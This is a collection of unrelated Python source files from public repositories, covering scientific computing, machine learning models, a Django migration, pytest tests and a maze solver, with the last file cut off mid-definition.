<filename>src/settings/constants.py from base import Players, NodeTypes class Constants(): def __init__(self): # the number of players in the game self.players_count = 2 # the number of betting rounds in the game self.streets_count = 2 self.suit_count = 2 self.rank_count = 3 self.hand_count = 1 self.card_count = self.suit_count * self.rank_count self.board_card_count = [0, 1] # IDs for each player and chance self.players = Players() self.players.chance = -1 self.players.P1 = 0 self.players.P2 = 1 # IDs for terminal nodes (either after a fold or call action) and nodes that follow a check action # @field terminal_fold (terminal node following fold) `-2` # @field terminal_call (terminal node following call) `-1` # @field chance_node (node for the chance player) `0` # @field check (node following check) `-1` # @field inner_node (any other node) `2` self.node_types = NodeTypes() self.node_types.terminal_fold = -2 self.node_types.terminal_call = -1 self.node_types.check = -1 self.node_types.chance_node = 0 self.node_types.inner_node = 1 constants = Constants()
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src/AeroelasticSE/FAST_mdao/DLCrunner - Kopie.py
BecMax/AeroelasticSE_WG
0
170483
<reponame>BecMax/AeroelasticSE_WG """ Demonstration of setting up an OpenMDAO 1.x problem using the FST8Workflow component (in FST8_aeroelasticsolver), which executes the FST8 reader, writer, and wrapper and assigns all variables in the FAST outlist to OpenMDAO 'Unknowns'. It also implements an "input config" function which allows the user to put all variables that they wish to explicitly define into a dictionary. The input config function assigns these variables to the correct locations in the variable tree. """ # Hacky way of doing relative imports import numpy as np import string import os, sys sys.path.insert(0, os.path.abspath("..")) import matplotlib.pyplot as plt from openmdao.api import Group, Problem, Component, IndepVarComp from openmdao.api import ParallelGroup, ParallelFDGroup from openmdao.api import SqliteRecorder from AeroelasticSE.FAST_mdao.FST8_aeroelasticsolver import FST8Workflow from AeroelasticSE.Turbsim_mdao.turbsim_openmdao import turbsimGroup from openmdao.core.mpi_wrap import MPI if MPI: from openmdao.core.petsc_impl import PetscImpl as impl else: from openmdao.core.basic_impl import BasicImpl as impl from FST8_aeroelasticsolver import FST8Workflow, FST8AeroElasticSolver # Initial OpenMDAO problem setup for parallel group top = Problem(impl=impl, root=ParallelFDGroup(1)) root = top.root # Setup genral dlc config dictionary. dlc_cfg = {} #dictionary describing what we do dlc_cfg['DLC'] = 1.2 dlc_cfg['RunTurbsim'] = False #shall we run turbsim first to generate turbulent wind files? dlc_cfg['RunFAST'] = True #shall we run FAST? dlc_cfg['WSBin1'] = 3.0 #First wind speed to consider (generally equal to cut-in) dlc_cfg['WSBin2'] = 24.0 #Last wind speed to consider (generally equal to cut-out) dlc_cfg['WSBinWidth'] = 2 #Bin width dlc_cfg['NoSeeds'] = 6 #Number of seeds per wind speed bin dlc_cfg['NoTIBins'] = 6 #Is the turbulence intensity weibull distributed and should be binned? dlc_cfg['DiscreteYaw'] = True #Is the turbulence intensity weibull distributed and should be binned? dlc_cfg['YawAngles'] = [-8.0, 0.0, 8.0] #Yaw angles to be used dlc_cfg['WSBins'] = np.arange(dlc_cfg['WSBin1'], dlc_cfg['WSBin2'], dlc_cfg['WSBinWidth']) if dlc_cfg['WSBins'][-1] != dlc_cfg['WSBin2']: dlc_cfg['WSBins'] = np.append(dlc_cfg['WSBins'], dlc_cfg['WSBin2'])# dlc_cfg['SeedList'] = list(string.ascii_lowercase)[0:dlc_cfg['NoSeeds']] dlc_cfg['TIBins'] = np.arange(dlc_cfg['NoTIBins']) + 1 print dlc_cfg['WSBins'] print dlc_cfg['SeedList'] print dlc_cfg['TIBins'] # Setup input config dictionary of dictionaries. cfg_master = {} #master config dictionary (dictionary of dictionaries) #generate case ids runvar = 0 caseids = []; short_caseids = [] for i in range(len(dlc_cfg['WSBins'])): for j in range(len(dlc_cfg['SeedList'])): for k in range(len(dlc_cfg['TIBins'])): for l in range(len(dlc_cfg['YawAngles'])): caseid = 'case%02.0f_%s_%i' % (dlc_cfg['WSBins'][i], dlc_cfg['SeedList'][j], dlc_cfg['TIBins'][k]) short_caseid = '%02.0f_%s_%i' % (dlc_cfg['WSBins'][i], dlc_cfg['SeedList'][j], dlc_cfg['TIBins'][k]) caseids.append(caseid) short_caseids.append(short_caseid) cfg = {} cfg['fst_runfile'] = '{0}.fst'.format(short_caseids[runvar]) cfg['fst_rundir'] = os.path.join('./ExampleCase/02_Run/dlc12/', short_caseids[runvar]) # These parameters the same for all cases cfg['fst_masterfile'] = 'Test01.fst' cfg['fst_masterdir']= './ExampleCase/02_Run/model/' cfg['fst_exe'] = 'FAST_gwin64' cfg['ad_file_type'] = 1 # Put dictionary into master dictionary, keyed by caseid cfg_master[caseids[runvar]] = cfg runvar = runvar + 1 print cfg_master[caseids[i]] print cfg['fst_runfile'] # Add parallel group to omdao problem, pass in master config file root.add('ParallelFASTCases', FST8AeroElasticSolver(cfg_master, caseids)) top.setup() top.run() top.cleanup() #Good practice, especially when using recorder
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config.py
wangyida/voxel-dcgan
1
35908
nz = 512 # noize vector size nsf = 4 # encoded voxel size, scale factor nvx = 32 # output voxel size batch_size = 64 learning_rate = 2e-4 dataset_path_i = "/media/wangyida/D0-P1/database/ShapeNetCore.v2/*/*/*/model_normalized.binvox.thinned" dataset_path_o = "/media/wangyida/D0-P1/database/ShapeNetCore.v2/*/*/*/model_normalized.binvox" params_path = "params/voxel_dcgan_model.ckpt"
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TP2 - Sim/Ej_6/script.py
lucasliano/TC2
0
58678
# -*- coding: utf-8 -*- """ Spyder Editor This is a temporary script file. """ import numpy as np import matplotlib.pyplot as plt from splane import pzmap, grpDelay, bodePlot, convert2SOS from scipy import signal # Esta es una liberia tomada de la comunidad [https://stackoverflow.com/questions/35304245/multiply-scipy-lti-transfer-functions?newreg=b12c460c179042b09ad75c2fb4297bc9] from ltisys import * e = .096 a = np.roots([-256*e,0,-640*e,0,-560*e,0,-200*e,0,-25*e,0,1]) # Coeficientes Transferencias q_1 = 2.59 k = 1 q_2 = 4.3 w_2 = 1.025 q_3 = 1.12 w_3 = 0.703 # Genero la función transferencia T1 en S num_t1 = [1, 0] den_t1 = [1, q_1] T1 = ltimul(num_t1, den_t1); # Genero la función transferencia T2 en S num_t2 = [1, 0, 0] den_t2 = [1, 1 / (q_2 * w_2), 1/ (w_2**2)] T2 = ltimul(num_t2, den_t2); # Genero la función transferencia T3 en S num_t3 = [1, 0, 0] den_t3 = [1, 1 / (q_3 * w_3), 1/ (w_3**2)] T3 = ltimul(num_t3, den_t3); T = T1 * T2 * T3 #pzmap(T, 1); #fig, ax = bodePlot(T1.to_ss(), 2); #fig, ax = bodePlot(T2.to_ss(), 2); #fig, ax = bodePlot(T3.to_ss(), 2); fig, ax = bodePlot(T.to_ss(), 2); #ax[0].set_xlim(1e-1,1e1) #ax[0].set_ylim(-100, 10) #ax[1].set_xlim(1e-1,1e1)
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Vokeur/website/migrations/0022_auto_20190616_1150.py
lsdr1999/Project
0
198318
# Generated by Django 2.2.1 on 2019-06-16 11:50 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('website', '0021_auto_20190614_1538'), ] operations = [ migrations.RemoveField( model_name='antwoorden', name='antwoorden', ), migrations.AddField( model_name='antwoorden', name='eens', field=models.CharField(default='Eens', max_length=240), ), migrations.AddField( model_name='antwoorden', name='geenvanbeide', field=models.CharField(default='Geen van Beide', max_length=240), ), migrations.AddField( model_name='antwoorden', name='oneens', field=models.CharField(default='Oneens', max_length=240), ), migrations.AlterField( model_name='antwoorden', name='id', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, primary_key=True, serialize=False, to='website.Vragen'), ), ]
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manuscript/img-src/prepie.py
ssloy/least-squares-course
129
173519
<filename>manuscript/img-src/prepie.py import numpy as np fa = 1 # left constraint fb = 3 # right constraint n = 40 x = np.linspace(0, 2*np.pi, n) g = [np.sin(p) for p in x] A = np.matrix(np.zeros((n-1,n-2))) b = np.matrix(np.zeros((n-1,1))) A[0,0] = 1 b[0,0] = fa + g[1]-g[0] A[n-2, n-3] = -1 b[n-2,0] = -fb + g[-1]-g[-2] for i in range(1,n-2): b[i,0] = g[i]-g[i-1] A[i, i-1] = -1 A[i, i ] = 1 f = [fa] + (np.linalg.inv(A.T*A)*A.T*b).T.tolist()[0] + [fb] import matplotlib.pyplot as plt plt.rcParams["font.family"] = "serif" plt.rcParams["mathtext.fontset"] = "dejavuserif" plt.rcParams['text.usetex'] = True plt.rc('font', size=20) #plt.rc('axes', titlesize=20, labelsize=20) #plt.rc('xtick', labelsize=40) # fontsize of the tick labels fig,ax = plt.subplots(1, figsize=(6.40,6.40),dpi=150) for item in ([ax.title, ax.xaxis.label, ax.yaxis.label] + ax.get_xticklabels() + ax.get_yticklabels()): item.set_fontsize(20) plt.plot(x, f, linewidth=3, label='$f(x)$') plt.plot(x, g, linewidth=3, label='$g(x) = \sin x$') plt.scatter([x[0], x[-1]], [fa,fb], color='red', edgecolors='black',s=200) plt.legend(frameon=False) plt.tight_layout() plt.gca().set_aspect('equal', adjustable='box') plt.savefig('prepie.png', bbox_inches='tight') plt.show()
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setup.py
williamgilpin/pypdb_legacy
0
15977
<reponame>williamgilpin/pypdb_legacy from setuptools import setup setup( name = 'pypdb', packages = ['pypdb'], # same as 'name' version = '1.310', install_requires=[ 'xmltodict', 'beautifulsoup4', 'requests' ], description = 'A Python wrapper for the RCSB Protein Data Bank (PDB) API', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/williamgilpin/pypdb', download_url = 'https://github.com/williamgilpin/pypdb/tarball/0.6', keywords = ['protein','data','RESTful','api'], classifiers = [], )
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code/models/concrete_dropout.py
yannick-t/probabilistic_forecasting_of_energy_time_series_using_deep_learning
2
167003
# Code based on https://github.com/yaringal/ConcreteDropout # License: # MIT License # # Copyright (c) 2017 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import torch import numpy as np from torch import nn from models.base_nn import BaseNN class ConcreteDropout(nn.Module): def __init__(self, weight_regularizer=1e-6, dropout_regularizer=1e-5, init_min=0.1, init_max=0.1): super(ConcreteDropout, self).__init__() self.weight_regularizer = weight_regularizer self.dropout_regularizer = dropout_regularizer init_min = np.log(init_min) - np.log(1. - init_min) init_max = np.log(init_max) - np.log(1. - init_max) self.p_logit = nn.Parameter(torch.empty(1).uniform_(init_min, init_max)) def forward(self, x, layer): p = torch.sigmoid(self.p_logit) out = layer(self._concrete_dropout(x, p)) sum_of_square = 0 for param in layer.parameters(): sum_of_square += torch.sum(torch.pow(param, 2)) weights_regularizer = self.weight_regularizer * sum_of_square / (1 - p) dropout_regularizer = p * torch.log(p) dropout_regularizer += (1. - p) * torch.log(1. - p) input_dimensionality = x[0].numel() # Number of elements of first item in batch dropout_regularizer *= self.dropout_regularizer * input_dimensionality regularization = weights_regularizer + dropout_regularizer return out, regularization def _concrete_dropout(self, x, p): eps = 1e-7 temp = 0.1 unif_noise = torch.rand_like(x) drop_prob = (torch.log(p + eps) - torch.log(1 - p + eps) + torch.log(unif_noise + eps) - torch.log(1 - unif_noise + eps)) drop_prob = torch.sigmoid(drop_prob / temp) random_tensor = 1 - drop_prob retain_prob = 1 - p x = torch.mul(x, random_tensor) x /= retain_prob return x class ConcreteDropoutNN(BaseNN): def __init__(self, weight_regularizer, dropout_regularizer, input_size, output_size, **kwargs): super(ConcreteDropoutNN, self).__init__(**kwargs) self.hidden_size.append(output_size) self.linear1 = nn.Linear(input_size, self.hidden_size[0]) self.linears = nn.ModuleList([nn.Linear(self.hidden_size[i], self.hidden_size[i + 1]) for i in range(len(self.hidden_size) - 1)]) self.conc_drops = nn.ModuleList([ConcreteDropout(weight_regularizer=weight_regularizer, dropout_regularizer=dropout_regularizer) for i in range(len(self.hidden_size))]) self.act = nn.ReLU() def forward(self, x): regularization = torch.empty(len(self.hidden_size), device=x.device) out_arr = [] out, regularization[0] = self.conc_drops[0](x, nn.Sequential(self.linear1, self.act)) out_arr.append(out) for i in range(len(self.hidden_size) - 1): if i == len(self.hidden_size) - 2: act = nn.Identity() else: act = self.act out, regularization[i + 1] = self.conc_drops[i + 1](out, nn.Sequential(self.linears[i], act)) out_arr.append(out) return out, regularization.sum()
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tests/pouw/nods/decentralized/test_committee_candidate.py
projectpai/pouw-main-iteration
11
133353
<reponame>projectpai/pouw-main-iteration import random import time import uuid import mock import pytest import yaml from mock import MagicMock, PropertyMock import pai.pouw.nodes.decentralized.committee_candidate from pai.pouw.constants import CLIENT_TASK_CHANNEL, WAIT_TIME_AFTER_MINIMAL_NUMBER_OF_NODES_HAS_REGISTERED, \ MIN_MEMBERS_NUM, NUMBER_OF_DATASET_SEGMENTS from pai.pouw.nodes.decentralized.client import Client from pai.pouw.nodes.decentralized.committee_candidate import CommitteeCandidate def test_get_training_task_request_non_destructive(redisdb): node = CommitteeCandidate() node.conn = redisdb redisdb.lpush(CLIENT_TASK_CHANNEL, 'test1') assert node.get_training_task_request() == 'test1' assert redisdb.llen(CLIENT_TASK_CHANNEL) == 1 def test_get_training_task_request_fifo_behaviour(redisdb): node = CommitteeCandidate() node.conn = redisdb redisdb.lpush(CLIENT_TASK_CHANNEL, 'test1') redisdb.lpush(CLIENT_TASK_CHANNEL, 'test2') redisdb.lpush(CLIENT_TASK_CHANNEL, 'test3') assert node.get_training_task_request() == 'test1' assert redisdb.llen(CLIENT_TASK_CHANNEL) == 3 def test_validate_request_data_simple(client_task_definition_data): node = CommitteeCandidate() node.task_data = client_task_definition_data node.validate_request_data() @pytest.mark.parametrize('key', ['version', 'payment', 'ml']) def test_validate_request_data_missing_root_key(key, client_task_definition_data): node = CommitteeCandidate() node.task_data = client_task_definition_data del node.task_data[key] with pytest.raises(ValueError): node.validate_request_data() @pytest.mark.parametrize('key', ['dataset', 'validation', 'optimizer', 'model', 'evaluation-metrics']) def test_validate_request_data_missing_ml_parameter_key(key, client_task_definition_data): node = CommitteeCandidate() node.task_data = client_task_definition_data del node.task_data['ml'][key] with pytest.raises(ValueError): node.validate_request_data() @pytest.mark.parametrize('data', [list(), set(), 'test', 0, False]) def test_validate_request_data_invalid_type(data): node = CommitteeCandidate() node.task_data = data with pytest.raises(ValueError): node.validate_request_data() def test_set_task_id_provides_consistent_hash(client_task_definition_path, client_task_definition_data): with open(client_task_definition_path) as request_file: request_data = request_file.read() node = CommitteeCandidate() node.task_data = client_task_definition_data node.set_task_id(request_data) task_id = node.task_id for _ in range(10): node.set_task_id(request_data) assert task_id == node.task_id def test_register_for_task_first_node_registration(redisdb): node = CommitteeCandidate() node.conn = redisdb registration_channel = 'test_registration' node._task_registration_channel = registration_channel node.register_for_task() assert node.get_number_of_registered_nodes() == 1 def test_register_for_task_same_node_not_counted_twice(redisdb): node = CommitteeCandidate() node.conn = redisdb registration_channel = 'test_registration' node._task_registration_channel = registration_channel node.register_for_task() node.register_for_task() assert node.get_number_of_registered_nodes() == 1 def test_register_for_task_multiple_nodes(redisdb): registration_channel = 'test_registration' node_1 = CommitteeCandidate() node_1.conn = redisdb node_1._task_registration_channel = registration_channel node_1.register_for_task() node_2 = CommitteeCandidate() node_2.conn = redisdb node_2._task_registration_channel = registration_channel node_2.register_for_task() assert node_1.get_number_of_registered_nodes() == 2 def test_get_number_of_registered_nodes(redisdb): node = CommitteeCandidate() node.conn = redisdb registration_channel = 'test_registration' node._task_registration_channel = registration_channel node.register_for_task() assert node.get_number_of_registered_nodes() == 1 def test_get_number_of_registered_nodes_same_node_not_counted_twice(redisdb): node = CommitteeCandidate() node.conn = redisdb registration_channel = 'test_registration' node._task_registration_channel = registration_channel node.register_for_task() node.register_for_task() assert node.get_number_of_registered_nodes() == 1 def test_get_number_of_registered_nodes_multiple(redisdb): registration_channel = 'test_registration' node_1 = CommitteeCandidate() node_1.conn = redisdb node_1._task_registration_channel = registration_channel node_1.register_for_task() node_2 = CommitteeCandidate() node_2.conn = redisdb node_2._task_registration_channel = registration_channel node_2.register_for_task() assert node_1.get_number_of_registered_nodes() == 2 assert node_2.get_number_of_registered_nodes() == 2 def test_wait_for_enough_nodes_to_register_grace_period_waited(mocker): mocker.patch('pai.pouw.nodes.decentralized.committee_candidate.time.sleep') node = CommitteeCandidate() node.get_number_of_registered_nodes = MagicMock(return_value=MIN_MEMBERS_NUM) node.wait_for_enough_nodes_to_register() assert pai.pouw.nodes.decentralized.committee_candidate.time.sleep.call_count == WAIT_TIME_AFTER_MINIMAL_NUMBER_OF_NODES_HAS_REGISTERED def test_inform_client_of_task_id(client_task_definition_data): node = CommitteeCandidate() node.task_data = client_task_definition_data node.conn = MagicMock() node.inform_client_of_task_id() node.conn.lpush.assert_called() def test_inform_client_of_task_integrated(client_task_definition_data, redisdb): client_address = 'test_client' node = CommitteeCandidate() node.conn = redisdb node.task_id = '123' node.task_data = client_task_definition_data node.task_data['client_listen_address'] = client_address node._client_response_listening_channel = 'test_cluster' node.inform_client_of_task_id() client = Client() client._client_id = client_task_definition_data['client_id'] client.conn = redisdb client._client_listen_address = client_address client.obtain_cluster_task_id() assert client._task_id == '123' assert client._cluster_address == 'test_cluster' def test_collect_segment_hash_table_simple(redisdb): node = CommitteeCandidate() node.conn = redisdb cluster_listen_address = 'test_cluster' node._client_response_listening_channel = cluster_listen_address client_request = { 'client_id': '123', 'hashes': range(NUMBER_OF_DATASET_SEGMENTS) } redisdb.lpush(cluster_listen_address, yaml.dump(client_request)) node.collect_segment_hash_table() assert len(node.segment_hash_table) == NUMBER_OF_DATASET_SEGMENTS def test_inform_client_of_hash_voting_results(client_task_definition_data): node = CommitteeCandidate() node.task_data = client_task_definition_data node.conn = MagicMock() node.inform_client_of_hash_allocation() node.conn.lpush.assert_called() def test_validate_segment_list_simple(): node = CommitteeCandidate() segment_list = [{'hash': i, 'bucket': '', 'key': ''} for i in range(5)] node.segment_hash_table = range(5) node.validate_segment_list(segment_list) def test_validate_segment_list_reverse_order(): node = CommitteeCandidate() segment_list = [{'hash': i, 'bucket': '', 'key': ''} for i in range(5)] node.segment_hash_table = range(5)[::-1] with pytest.raises(ValueError): node.validate_segment_list(segment_list) def test_prepare_segments_for_distribution(): node = CommitteeCandidate() segments = list(range(5)) selected_workers = list(range(4)) node._prepare_segments_for_distribution(segments, selected_workers) assert len(segments) == 8 assert segments == [0, 1, 2, 3, 4, 4, 4, 4] def test_disable_registration_for_client_task(): node = CommitteeCandidate() node.conn = MagicMock() node.disable_registration_for_client_task() node.conn.lrem.assert_called() @pytest.mark.skip('Different api from real redis library') def test_disable_registration_for_client_task_only_one_task_in_queue(redisdb, client_task_definition_path, client_task_definition_data): with open(client_task_definition_path) as request_file: request_data = request_file.read() node = CommitteeCandidate() node.conn = redisdb node.task_data = client_task_definition_data node.set_task_id(request_data) redisdb.lpush(CLIENT_TASK_CHANNEL, request_data) node.disable_registration_for_client_task() assert redisdb.llen(CLIENT_TASK_CHANNEL) == 0 @pytest.mark.skip('Different api from real redis library') def test_disable_registration_for_client_task_multiple_tasks_in_queue(redisdb, client_task_definition_path, client_task_definition_data): with open(client_task_definition_path) as request_file: request_data = request_file.read() node = CommitteeCandidate() node.conn = redisdb node.task_data = client_task_definition_data node.set_task_id(request_data) redisdb.lpush(CLIENT_TASK_CHANNEL, request_data) redisdb.lpush(CLIENT_TASK_CHANNEL, request_data) node.disable_registration_for_client_task() assert redisdb.llen(CLIENT_TASK_CHANNEL) == 1 def test_committee_gets_disolved_before_completing_training(redisdb): registration_channel = 'test_registration' node_1 = CommitteeCandidate() node_1.conn = redisdb node_1._task_registration_channel = registration_channel node_1.register_for_task() node_2 = CommitteeCandidate() node_2.conn = redisdb node_2._task_registration_channel = registration_channel node_2.register_for_task() assert node_1.get_number_of_registered_nodes() == 2 assert node_2.get_number_of_registered_nodes() == 2 time.sleep(20) assert len(node_1.get_registered_nodes()) == 0
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bfs.py
ayush9304/Treasure-Hunter
0
1607959
import mazeGenerator class Queue: def __init__(self): self.list = [] self.front = 0 self.last = -1 def add(self, node): self.list.append(node) self.last = self.last + 1 def remove(self): if self.front > self.last: raise Exception("Underflow!") else: self.front = self.front + 1 return self.list[self.front-1] def isEmpty(self): if self.front > self.last: return True else: return False class Coordinate: def __init__(self, x, y): self.x = x self.y = y class Node: def __init__(self, coordinates, previous): self.state = coordinates self.previous = previous class Maze: matrix = [] visited = [] row = 0 column = 0 start = Coordinate(-1, -1) goal = Coordinate(-1, -1) def __init__(self, matrix, row, column): self.matrix = matrix self.visited = [['0'] * column for _ in range(row)] self.row = row self.column = column def load(self): for i in range(self.row): for j in range(self.column): if self.matrix[i][j] == 'S': self.start.x = j self.start.y = i if self.matrix[i][j] == 'D': self.goal.x = j self.goal.y = i if self.matrix[i][j] == '1': self.visited[i][j] = '2' else: self.visited[i][j] = '0' def checkNeighbour(self, state, dir): var = Coordinate(-1, -1) if dir == 0: if state.x-1 >= 0: if self.visited[state.y][state.x-1] == '0': var.x = state.x-1 var.y = state.y if dir == 1: if state.x+1 < self.column: if self.visited[state.y][state.x+1] == '0': var.x = state.x+1 var.y = state.y if dir == 2: if state.y-1 >= 0: if self.visited[state.y-1][state.x] == '0': var.x = state.x var.y = state.y-1 if dir == 3: if state.y+1 < self.row: if self.visited[state.y+1][state.x] == '0': var.x = state.x var.y = state.y+1 return var def bfs(matrix, row, column): queue = Queue() path = [] maze = Maze(matrix, row, column) maze.load() start = Node(maze.start, None) goal = Node(Coordinate(-1, -1), None) queue.add(start) maze.visited[maze.start.y][maze.start.x] = '1' while not queue.isEmpty(): current = queue.remove() for i in range(4): neighbour = maze.checkNeighbour(current.state, i) if not (neighbour.x == -1) and not (neighbour.y == -1): temp = Node(neighbour, queue.front-1) queue.add(temp) maze.visited[neighbour.y][neighbour.x] = '1' if maze.goal.x == neighbour.x and maze.goal.y == neighbour.y: goal = temp break if goal.state.x == -1 or goal.state.y == -1: return None, None else: current = goal while current.previous is not None: path.append((current.state.x, current.state.y)) maze.matrix[current.state.y][current.state.x] = 'P' current = queue.list[current.previous] path.append((int(maze.start.x), int(maze.start.y))) maze.matrix[maze.start.y][maze.start.x] = 'S' maze.matrix[maze.goal.y][maze.goal.x] = 'D' path = list(reversed(path)) del path[-1] return maze.matrix, path if __name__ == "__main__": row = 15 column = 25 maze = mazeGenerator.Maze(column, row) matrix = maze.matrix() solutionMatrix, path = bfs(matrix, row, column) if solutionMatrix is None: print("No Solution Found!") else: for w in solutionMatrix: for x in w: print(x, end=" ") print("") print("\n") path = list(path) for elem in path: print(elem)
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CoRRN.py
ZhengPeng7/CoRRN-Pytorch
2
166432
import torch import torch.nn as nn from torchvision import models class Conv2D_BN_activa(nn.Module): def __init__( self, in_channels, out_channels, kernel_size, stride, padding=0, dilation=1, if_bn=True, activation='relu', bias=None, initializer=None, transpose=False ): super(Conv2D_BN_activa, self).__init__() if transpose: self.conv2d = nn.ConvTranspose2d( in_channels, out_channels, kernel_size, stride, padding, dilation=dilation, bias=(not if_bn) if bias is None else bias ) else: self.conv2d = nn.Conv2d( in_channels, out_channels, kernel_size, stride, padding, dilation=dilation, bias=(not if_bn) if bias is None else bias ) self.if_bn = if_bn if self.if_bn: self.bn = nn.BatchNorm2d(out_channels, eps=1e-3) # eps same as that in the official codes. if activation == 'relu': self.activation = nn.ReLU(inplace=True) else: self.activation = None self.initializer = initializer if self.initializer is not None: if self.initializer == 'truncated_norm': nn.init.normal_(self.conv2d.weight, std=0.02) self.conv2d.weight = truncated_normal_(self.conv2d.weight, std=0.02) def forward(self, x): x = self.conv2d(x) if self.activation: if self.if_bn: x = self.bn(x) x = self.activation(x) return x class FeatureExtrationLayersA(nn.Module): def __init__(self, in_channels, out_channels_branch=192): super(FeatureExtrationLayersA, self).__init__() self.path1 = nn.Sequential( Conv2D_BN_activa(in_channels, 96, 1, 1, 0), Conv2D_BN_activa(96, out_channels_branch, 7, 1, 3) ) self.path2 = Conv2D_BN_activa(in_channels, out_channels_branch, 3, 1, 1) self.path3 = nn.Sequential( Conv2D_BN_activa(in_channels, 256, 1, 1, 0), Conv2D_BN_activa(256, 256, 3, 1, 1), Conv2D_BN_activa(256, out_channels_branch, 3, 1, 1) ) def forward(self, x): x1 = self.path1(x) x2 = self.path2(x) x3 = self.path3(x) out = torch.cat((x1, x2, x3), 1) return out class FeatureExtrationLayersB(nn.Module): def __init__(self, in_channels): super(FeatureExtrationLayersB, self).__init__() self.path1 = nn.Sequential( Conv2D_BN_activa(in_channels, 128, 1, 1, 0), Conv2D_BN_activa(128, 192, 7, 1, 3) ) self.path2 = nn.Sequential( Conv2D_BN_activa(in_channels, 128, 1, 1, 0), Conv2D_BN_activa(128, 192, 3, 1, 1) ) self.path3 = nn.Sequential( Conv2D_BN_activa(in_channels, 128, 1, 1, 0), Conv2D_BN_activa(128, 128, 3, 1, 1) ) self.path4 = nn.Sequential( Conv2D_BN_activa(in_channels, 128, 1, 1, 0), Conv2D_BN_activa(128, 128, 3, 1, 1), Conv2D_BN_activa(128, 128, 3, 1, 1) ) def forward(self, x): path1 = self.path1(x) path2 = self.path2(x) path3 = self.path3(x) path4 = self.path4(x) out = torch.cat((path1, path2, path3, path4), 1) return out class ImageDecBlock(nn.Module): def __init__(self, in_channels, out_channels_branch=256): super(ImageDecBlock, self).__init__() self.branch_1 = Conv2D_BN_activa(in_channels, out_channels_branch, 4, 2, 1, transpose=True) self.branch_2 = Conv2D_BN_activa(in_channels, out_channels_branch, 4, 2, 1, transpose=True) self.branch_3 = Conv2D_BN_activa(in_channels, out_channels_branch, 4, 2, 1, transpose=True) def forward(self, x): x_1 = self.branch_1(x) x_2 = self.branch_1(x) x_3 = self.branch_1(x) x_123 = torch.cat([x_1, x_2, x_3], dim=1) return x_123 class CencN(nn.Module): def __init__(self): super(CencN, self).__init__() backbone_model = models.vgg16_bn(pretrained=True) backbone_model_list = list(backbone_model.features.children()) self.backbone_1 = nn.Sequential(*backbone_model_list[0:7]) self.backbone_2 = nn.Sequential(*backbone_model_list[7:14]) self.backbone_3 = nn.Sequential(*backbone_model_list[14:24]) self.backbone_4 = nn.Sequential(*backbone_model_list[24:34]) self.backbone_5 = nn.Sequential(*backbone_model_list[34:44]) self.cba_after_backbone = Conv2D_BN_activa(512, 256, 3, 1, 1) def forward(self, x): x_bb_1 = self.backbone_1(x) x_bb_2 = self.backbone_2(x_bb_1) x_bb_3 = self.backbone_3(x_bb_2) x_bb_4 = self.backbone_4(x_bb_3) x_bb_5 = self.backbone_5(x_bb_4) x_c = self.cba_after_backbone(x_bb_5) return x_bb_1, x_bb_2, x_bb_3, x_bb_4, x_c class GdecN(nn.Module): def __init__(self): super(GdecN, self).__init__() self.block_1_conv_1 = Conv2D_BN_activa(512, 1024, 7, 1, 3) self.block_1_conv_2 = Conv2D_BN_activa(1024, 512, 1, 1, 0) self.block_1_conv_3 = Conv2D_BN_activa(512, 256, 3, 1, 1) self.block_1_conv_transpose = Conv2D_BN_activa(256, 256, 5, 1, 2, transpose=False) self.block_2_conv = Conv2D_BN_activa(256+512, 128, 3, 1, 1) self.block_2_conv_transpose = Conv2D_BN_activa(128, 128, 4, 2, 1, transpose=True) self.block_3_conv = Conv2D_BN_activa(128+256, 64, 3, 1, 1) self.block_3_conv_transpose = Conv2D_BN_activa(64, 64, 4, 2, 1, transpose=True) self.block_4_conv = Conv2D_BN_activa(64+128, 32, 3, 1, 1) self.block_4_conv_transpose = Conv2D_BN_activa(32, 32, 4, 2, 1, transpose=True) self.block_5_conv_1 = Conv2D_BN_activa(32+64, 64, 4, 2, 1, transpose=True) self.block_5_conv_2 = Conv2D_BN_activa(64, 1, 5, 1, 2, activation=None, if_bn=False) self.sigmoid_layer = nn.Sigmoid() def forward(self, backbone_features): x_bb_1, x_bb_2, x_bb_3, x_bb_4 = backbone_features x = self.block_1_conv_1(x_bb_4) x = self.block_1_conv_2(x) x = self.block_1_conv_3(x) x_to_be_enhanced_1 = self.block_1_conv_transpose(x) x = torch.cat([x_to_be_enhanced_1, x_bb_4], dim=1) x = self.block_2_conv(x) x_to_be_enhanced_2 = self.block_2_conv_transpose(x) x = torch.cat([x_to_be_enhanced_2, x_bb_3], dim=1) x = self.block_3_conv(x) x_to_be_enhanced_3 = self.block_3_conv_transpose(x) x = torch.cat([x_to_be_enhanced_3, x_bb_2], dim=1) x = self.block_4_conv(x) x_to_be_enhanced_4 = self.block_4_conv_transpose(x) x = torch.cat([x_to_be_enhanced_4, x_bb_1], dim=1) x = self.block_5_conv_1(x) x = self.block_5_conv_2(x) x_g = self.sigmoid_layer(x) return x_to_be_enhanced_1, x_to_be_enhanced_2, x_to_be_enhanced_3, x_to_be_enhanced_4, x_g class IdecN(nn.Module): def __init__(self, in_channels): super(IdecN, self).__init__() self.feature_extraction_layers_A = FeatureExtrationLayersA(in_channels) self.image_dec_block_1 = ImageDecBlock(192*3, 256) self.image_dec_block_2 = ImageDecBlock(256*3+128+512, 128) # channels of [image_dec_block, self.feature_extraction_layers_B = FeatureExtrationLayersB(128*3+64+256) # feature_enhancement_layers, vgg16] self.image_dec_block_3 = ImageDecBlock(192+192+128+128, 64) self.image_dec_block_4 = ImageDecBlock(64*3+32+128, 32) self.image_dec_block_5 = 